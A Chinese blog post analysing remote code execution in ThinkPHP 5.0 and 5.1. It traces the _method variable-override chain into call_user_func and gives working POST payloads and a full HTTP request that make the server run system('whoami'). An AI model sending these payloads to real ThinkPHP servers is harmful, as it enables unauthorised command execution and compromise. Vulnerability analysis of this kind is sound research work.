前言

最近看到了thinkphp5最新爆出来的代码执行漏洞,于是便跟着一起学习一下。

thinkphp5.1.* 远程代码执行

漏洞版本

thinkphp5.1.* 版本

触发条件

thinkphp5 设置 error_reporting(0)

复现环境

thinkphp5.1.31+php7.2.10+apache

漏洞分析

漏洞文件:\thinkphp\library\think\Request.php
漏洞代码如下:

public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this->method) {
            if (isset($_POST[$this->config['var_method']])) {
                $this->method    = strtoupper($_POST[$this->config['var_method']]);
                $method          = strtolower($this->method);
                        $this->{$method} = $_POST;
            } elseif ($this->server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this->method = strtoupper($this->server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this->method;
    }

在这里存在一个经典的变量覆盖漏洞点
$this->method = strtoupper($_POST[$this->config['var_method']]);
var_method=_method的值,即POST的_method值会赋值给$this->method。
同时,由$this->{$method} = $_POST,得$this->method 会得到 POST的值。
举个例子,假如我们POST的数据为a=aaa&b=bbb&_method=www,那么经过method方法后,我们就会得到一个$www变量,它的值为{‘a’=>’aaa’,’b’=>’bbb’,’_method’=>’www’}
那么在这里,我们可以控制_method的值,来达到覆盖request.php里任意变量的目的。
这里就要提到一个利用函数了:filterValue()
代码如下:

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
        ······

        return $value;
    }

这个函数的作用是针对每一个$value值,用$filters进行过滤。
在这里$filters的值就是$filter的值,如果我们之前POST的_method=filter,那么我们就会覆盖$filter原本的值为我们POST的数据。
而foreach将$filter的值遍历出来带入
$value = call_user_func($filter, $value)中执行。
如果我们POST中的数据带有危险函数如system、exec,那么就可以带入call_user_func中进行执行。
而执行的对象为$value。在这里,$value的值为request传入的数据,即我们传入的参数值。我们即可带入危险命令进入函数执行。
这里分析一下大概的流程

  • 通过_method变量进行变量覆盖
  • 在变量覆盖的时候覆盖filter变量,同时传入危险函数名,在call_user_func函数中充当$filter值
  • 在传递变量时,传入危险命令,在call_user_func函数中充当$value值

经过全局搜索,我们在route.php里找到如下调用:

public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        ······

        $method = strtolower($request->method());
        // 获取当前请求类型的路由规则

        ······

继续向上,发现app.php里有对route::check()的调用:

public static function routeCheck($request, array $config)
    {
        ······

        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

        ······

而routeCheck在app::run()里存在调用
所以我们得出一条调用链:
index.php -> start.php -> app.php(app::run()) -> app.php(app::routeCheck()) -> route.php(Route::check()) -> request.php(request::method())
之后,thinkphp会处理请求参数,进而对reqeust->filterValue()进行调用
通过上述分析,我们即可得到POC:
a=system&b=whoami&_method=filter
测试效果图如下:

其实在这里,变量名a、b根本不重要,同时,变量b也可以是GET参数,如:

须得注意的是,由于filter被覆盖,程序会抛出一个警告错误,如果不设置error_reporting(0)的话,程序会终止,无法达到代码执行的目的。

另外,这个漏洞针对thinkphp5.0.2-5.0.12也是成立的。

thinkphp5.0.12代码执行

漏洞版本

thinkphp5.0.0-5.0.12

复现环境

thinkphp5.0.10+php-7.2.10+apache

漏洞分析

在thinkphp5.0.12版本中,method方法不同与5.1版本,它的代码形式是这样的:

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
        } elseif (!$this->method) {
            if (isset($_POST[Config::get('var_method')])) {
                $this->method = strtoupper($_POST[Config::get('var_method')]);
                $this->{$this->method}($_POST);
            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
            } else {
                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);
            }
        }
        return $this->method;
    }

依旧是$this->method 的值来源于 POST参数_method。
而下一语句代码:$this->{$this->method}($_POST);,表示将执行名为$this->method的函数,参数值为$_POST。
所以说,我们可以通过控制_method的值来达到执行reques里的任意函数的目的。
通过5.1.*版本的漏洞,我们知道,在request.php里,要达到代码执行的目的,须通过filterValue里的call_user_func函数实现。向前溯源,即须通过变量覆盖将$filter的值设为危险函数名,我们才可实现。
其实在5.0.12版本中,filterValue函数基本无差异:

private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);
        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            } elseif (is_scalar($value)) {
                if (false !== strpos($filter, '/')) {
                    // 正则过滤
      ······

基于这个目的,我们将目光放在这个函数上:__constract()
代码如下:

protected function __construct($options = [])
    {
        foreach ($options as $name => $item) {
            if (property_exists($this, $name)) {
                $this->$name = $item;
            }
        }
        if (is_null($this->filter)) {
            $this->filter = Config::get('default_filter');
        }

        // 保存 php://input
        $this->input = file_get_contents('php://input');
    }

在这段代码中,函数通过foreach循环,将$options中的值分离出来,用propeprty_exists检查$this是否存在$item属性,如果存在,则对它进行赋值。
如果我们POST的数据如下:
_method=__construct&filter=system
那么,我们就可以根据method方法进入__constract函数中。再由foreach检查是this是否存在_method和filter属性,对其分别赋值。
至此,我们就找到了对$filter变量进行控制的方法了。
再控制$value为危险函数命令,即可进行代码执行
总结一下流程:

  • _method数据控制进入__constract函数
  • $_POST数据对$filte变量进行赋值使之为危险函数
  • $request 控制危险函数命令

调用流程跟上一个一样
index.php -> start.php -> app.php(app::run()) -> app.php(app::routeCheck()) -> route.php(Route::check()) -> request.php(request::method()) -> reqeust.php(request::__constract())
所以,poc如下:
a=whoami&_method=__construct&filter=system
效果如下:

在此次,$value依旧是任意request值,所以,GET数据依然有效:

thinkphp5.0.23核心板代码执行

漏洞版本

thinkphp5.0.13-5.0.23

复现环境

thinkphp5.0.23核心版+php7.2.10+apache

漏洞分析

在之前的两个版本中,漏洞实现的核心都是通过

  • request.php的method方法进行变量覆盖,
  • 调用filterValue进行代码执行。

无论中间的步骤如何,最核心的步骤都是这两个。
但是在thinkphp5.0.13后,在app.php中新增了如下代码:

public static function module($result, $config, $convert = null)
    {

      ······

      // 设置默认过滤机制
        $request->filter($config['default_filter']);

      ······

我们来回顾一下之前的调用流程:
index.php -> start.php -> app.php(app::run()) -> app.php(app::routeCheck()) -> route.php(Route::check()) -> request.php(request::method())
在之前版本的代码中,我们在method的方法中对变量进行覆盖。
但是,在之后版本中,由于在thinkphp处理请求参数之前,调用了app::module(),对$filter进行了重定义,将我们覆盖的值又进行覆盖。
所以之前版本的利用流程不可用,需要更新利用方式。
在这个版本的代码中,我们要通过method()变量覆盖达到代码执行的目的,需要满足两个条件:

  • 调用reqeust::method()
  • 在app:module()执行之前调用requeest::filterValue()

经过查找,发现request::param()对method()进行了调用:

public function param($name = '', $default = null, $filter = '')
    {
        if (empty($this->mergeParam)) {
            $method = $this->method(true);
            // 自动获取请求变量
            ······
    }

method参数为true,会进入request::server()

public function method($method = false)
    {
        if (true === $method) {
            // 获取原始请求类型
            return $this->server('REQUEST_METHOD') ?: 'GET';
        ······
    }

进入server方法:

public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }

继续进入input方法:

public function input($data = [], $name = '', $default = null, $filter = '')
    {
        ······

        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {

            $this->filterValue($data, $name, $filter);
        }
        ······
    }

在此处,依次跟踪传入参数,如下:

  • $this->server(‘REQUEST_METHOD’) -> requuest::server()
  • $this->server,$this->server(‘REQUEST_METHOD’) -> request::input()

在input方法中,有如下一段代码:

foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 无输入数据,返回默认值
                    return $default;
                }
            }

可以看出,$data即为server[‘REQUEST_METHOD’]的值。
然后,$data进入$this->filterValue函数:
$this->filterValue($data, $name, $filter);
拉通来看,即在param函数中,对server[‘REQUEST_METHOD’]中的值调用了一次filterValue方法。
在app.php中,存在如下代码:

// 记录路由和请求信息
            if (self::$debug) {
                Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
                Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
                Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
            }

即程序开启debug模式,会调用一次$request->param()函数。
满足了漏洞利用的条件。
所以,poc如下:
_method=__construct&filter=system&server[REQUEST_METHOD]=whoami
效果如下:

thinkphp5.0.23完整版代码执行

漏洞版本

thinkphp5.0.0-thinkphp5.0.23

复现环境

thinkphp5.0.23完整版+php7.2.10+apache

漏洞分析

上一个漏洞分析讲过,漏洞利用有两个条件:

  • 调用reqeust::method()
  • 在app:module()执行之前调用requeest::filterValue()

但其实,如果app::module()方法不执行,一样可以达成目的。
分析一下为什么要执行app::module()方法?
在app::run()中看到如下代码:
$data = self::exec($dispatch, $config);
跟进exec()方法:

protected static function exec($dispatch, $config)
    {
        switch ($dispatch['type']) {
            case 'redirect': // 重定向跳转
                $data = Response::create($dispatch['url'], 'redirect')
                    ->code($dispatch['status']);
                break;
            case 'module': // 模块/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            case 'controller': // 执行控制器操作
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = Loader::action(
                    $dispatch['controller'],
                    $vars,
                    $config['url_controller_layer'],
                    $config['controller_suffix']
                );
                break;
            case 'method': // 回调方法
                $vars = array_merge(Request::instance()->param(), $dispatch['var']);
                $data = self::invokeMethod($dispatch['method'], $vars);
                break;

                ······
    }

在这里面,我们看到了熟悉的param()方法,这个方法就是导致5.0.23核心版代码执行的罪魁祸首。
同时,由switch ($dispatch['type'])可知,如果我们控制了$dispatch[‘type’]的值,就可以控制exec()方法执行的函数,就可以达成跳过app::module()方法的目的。
再来溯源$dispatch变量:
在app::run()中:

if (empty($dispatch)) {
                $dispatch = self::routeCheck($request, $config);
            }

进入routeCheck()方法中:

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;

        ······

        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
        $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];

        if ($must && false === $result) {
            // 路由无效
            throw new RouteNotFoundException();
        }

        ···

        return $result;
    }

返回值$result跟$Route::check()有关,继续跟进:

public static function check($request, $url, $depr = '/', $checkDomain = false)
    {
        ······

        $method = strtolower($request->method());
        // 获取当前请求类型的路由规则
        $rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];
        // 检测域名部署

        ······

        // 路由规则检测
        if (!empty($rules)) {
            return self::checkRoute($request, $rules, $url, $depr);
        }
        return false;
    }

在这里,又一次执行了我们熟悉的$request->method()方法。
在method()方法中,我们进行了一次变量覆盖。
同时,由
$this->method = strtoupper($_POST[Config::get('var_method')]);
return $this->method;
可知我们得到的时$method的值。同时,$rules获得名为$method的路由规则。
跟进route::checkRoute():

private static function checkRoute($request, $rules, $url, $depr = '/', $group = '', $options = [])
    {
        foreach ($rules as $key => $item) {

            ······

            if (is_array($rule)) {

                ······

                $result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
                if (false !== $result) {
                    return $result;
                }
            }
        }

        ······
    }

经过试调,$result值来源于self::checkRule()方法,继续跟进:

private static function checkRule($rule, $route, $url, $pattern, $option, $depr)
    {

        ······

        if ($len1 >= $len2 || strpos($rule, '[')) {

            ······

            if (false !== $match = self::match($url, $rule, $pattern)) {
                // 匹配到路由规则
                return self::parseRule($rule, $route, $url, $option, $match);
            }
        }
        return false;
    }

此处,返回的值与self::parseRule()有关,继续跟进:

private static function parseRule($rule, $route, $pathinfo, $option = [], $matches = [], $fromCache = false)
    {
        ······

            elseif (false !== strpos($route, '\\')) {
            // 路由到方法
            list($path, $var) = self::parseUrlPath($route);
            $route            = str_replace('/', '@', implode('/', $path));
            $method           = strpos($route, '@') ? explode('@', $route) : $route;
            $result           = ['type' => 'method', 'method' => $method, 'var' => $var];
        }

        ······

        return $result;
    }

可以看到,只要满足false !== strpos($route, ‘\\‘),就可以进入路由到方法,控制dispatch[‘type’]值为method,从而进入app::exec()方法中的method()回调方法,执行Request::instance()->param(),达成利用条件。
在完整版中,thinkphp多了一些东西:

在\topthink\think-captcha\src\helper.php中存在:
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
这里调用\think\route::get进行路由注册,而在我们跟踪流程中发现在$Route::check()中可以通过覆盖$mthod值达到获取任意名为$method的路由规则。
如果我们覆盖$method的值为get,就会获得get类型的路由,再传入参数值为captcha,即可获得上面的路由规则:\\think\\captcha\\CaptchaController@index
刚好符合进入路由到方法的条件。
再通过层层返回,可以进入app::exec()中的method回调方法,执行Request::instance()->param
所以,poc如下:

POST /thinkphp_5.0.23_with_extend/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

效果如下:

变异poc

网上的大佬太多了,一个个的poc骚到不行,这里再贴一条大佬的变异poc:
_method=__construct&filter[]=system&method=get&get[]=whoami

个人想法

  • 这四个版本的漏洞,本质上都是由一个漏洞点引起的。无论是覆盖不同的函数,还是越过module()方法的执行,本身就是花式满足漏洞触发条件。由于thinkphp的灵活,关于这个漏洞点的利用方式应该不止我列举的这四种。就像完整版之于核心版,由于插件的富余,使之利用点多了一个。
  • 其实,搞清楚具体的调用流程,对分析如何达成漏洞利用条件还是很有帮助的。就比如5.0.12版本之后的代码,由于module()方法对filterValue进行重定义,导致之前的poc链不成立。而通过分析thinkphp执行流程我们发现module()方法执行之前可以调用其他函数,也可以覆盖某些值以到达不执行module()函数。所以,调用流程的分析很有必要。

漏洞分析      thinkphp5

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

web-crypto 上一篇
py脚本 - myinotify 下一篇